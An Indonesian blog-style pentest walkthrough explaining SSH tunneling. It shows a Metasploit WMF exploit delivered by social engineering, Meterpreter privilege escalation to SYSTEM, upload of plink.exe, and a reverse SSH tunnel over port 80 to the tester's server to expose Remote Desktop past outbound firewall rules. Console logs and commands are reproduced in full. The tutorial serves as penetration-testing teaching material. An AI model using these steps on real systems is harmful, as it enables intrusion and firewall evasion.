Tunneling biasanya dipakai sebagai tehnik untuk meloloskan paket dari jaringan yang terisolasi oleh firewall atau oleh jaringan itu sendiri (NAT). Para administrator jaringan biasanya membuat sebuah tunnel untuk dapat mengakses bagian yang tidak dapat diakses tersebut. Bayangkan jika Anda seorang administrator jaringan hendak melakukan remote connection ke jaringan Anda sendiri namun komputer yang hendak Anda remote berada di balik NAT / jaringan yang tidak di routing ke internet, bagaimana melakukannya? Tentu saja dengan tehnik tunneling.
Tehnik tunneling juga dipakai oleh pentester untuk mendukung pekerjaan penetration test. Mari kita lihat tehnik ini berjalan.
Sebagai seorang pentester, saya ditugaskan untuk menjebol sistem sampe tuntas, termasuk jaringan internal target. Singkat cerita, saya telah mendapatkan remote shell dari sebuah komputer yang hanya dapat diakses dari satu subnet jaringan. Setelah ditelusuri, komputer target membuka port 3389 yang artinya service Remote Desktop sedang berjalan dan siap diakses. Namun karena komputer target berada pada jaringan NAT, maka koneksi langsung ke port 3389 akan segera diblok oleh Gateway/Firewall. Saya mencoba koneksi reverse connect dengan netcat, namun yang menjadi penghalang, ternyata OUTBOUND rule pada firewall hanya memperbolehkan koneksi ke port 80 dan 443, selain itu di blok. Untuk itulah saya terpikir untuk menggunakan SSH Tunneling, sebuah server SSH saya siapkan untuk listening di port 80. OIya, saya menggunakan Backtrack untuk melakukan ini semua 🙂
Eksploitasi sukses dilakukan dengan Metasploit dengan sedikit metode Social engineering terhadap salah satu staff di perusahaan tersebut. Metasploit memberikan saya sebuah remote back shell meterpreter yang multifungsi.
msf exploit(ms06_001_wmf_setabortproc) > exploit [*] Exploit running as background job. msf exploit(ms06_001_wmf_setabortproc) > [*] Started reverse handler on 203.128.250.15:4444 [*] Using URL: http://203.128.250.15:80/register.html [*] Server started. [*] Sending exploit to 203.128.250.15:51368... [*] Sending stage (747008 bytes) [*] Meterpreter session 1 opened (203.128.250.15:4444 -> 203.128.250.15:54652) msf exploit(ms06_001_wmf_setabortproc) > sessions -l Active sessions =============== Id Description Tunnel -- ----------- ------ 1 Meterpreter 203.128.250.15:4444 -> 203.128.250.15:54652 msf exploit(ms06_001_wmf_setabortproc) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: ITUSR-54\admin meterpreter > use priv Loading extension priv...success. meterpreter > getsystem ...got system (via technique 1). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >
Setelah mendapatkan akses setara dengan SYSTEM, saya mengupload ssh client yang terdapat dalam paket Putty, yaitu plink.exe.
meterpreter > upload /pentest/windows-binaries/tools/plink.exe C:\\windows\ [*] uploading : /pentest/windows-binaries/tools/plink.exe -> C:\\windows\ [*] uploaded : /pentest/windows-binaries/tools/plink.exe -> C:\windows\ meterpreter >
Setelah itu saya mengakses shell pada target, dan mengeksekusi SSH client untuk segera membuat tunneling ke server SSH yang telah saya siapkan sebelumnya.
meterpreter > execute -f cmd -c -H Process 1776 created. Channel 2 created. meterpreter > interact 2 Interacting with channel 2... Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\admin\Desktop>plink -P 80 -l root -pw toor -C -R 3389:127.0.0.1:3389 203.128.250.15 plink -P 80 -l root -pw toor -C -R 3389:127.0.0.1:3389 203.128.250.15 The server's host key is not cached in the registry. You have no guarantee that the server is the computer you think it is. The server's key fingerprint is: ssh-rsa 2048 ce:bf:86:ed:50:68:bf:21:8f:c2:a9:63:9f:07:d5:0c If you trust this host, enter "y" to add the key to PuTTY's cache and carry on connecting. If you want to carry on connecting just once, without adding the key to the cache, enter "n". If you do not trust this host, press Return to abandon the connection. Store key in cache? (y/n) y BackTrack 4 (PwnSauce) Penetration Testing and Auditing Distribution Last login: Wed Feb 24 23:04:29 2010 from 10.5.5.243 root@bt:~#
Terlihat bahwa koneksi SSH telah terbentuk (pada port 80) antara target dengan komputer saya, ditandai dengan keluarnya shell Backtrack saya pada komputer target. Pada komputer saya, juga segera terbentuk port 3389 yang listening di 127.0.0.1 (localhost). Sampai saat ini, port 3389 service Remote Desktop komputer target telah berhasil di tunneling ke komputer saya dengan port yang sama, namun melewati koneksi SSH.
tom@bt:/$ rdesktop 127.0.0.1 Autoselected keyboard map en-us WARNING: Remote desktop does not support colour depth 24; falling back to 16
Tehnik tunneling sangat berguna untuk berbagai keadaan, salah satunya adalah situasi diatas.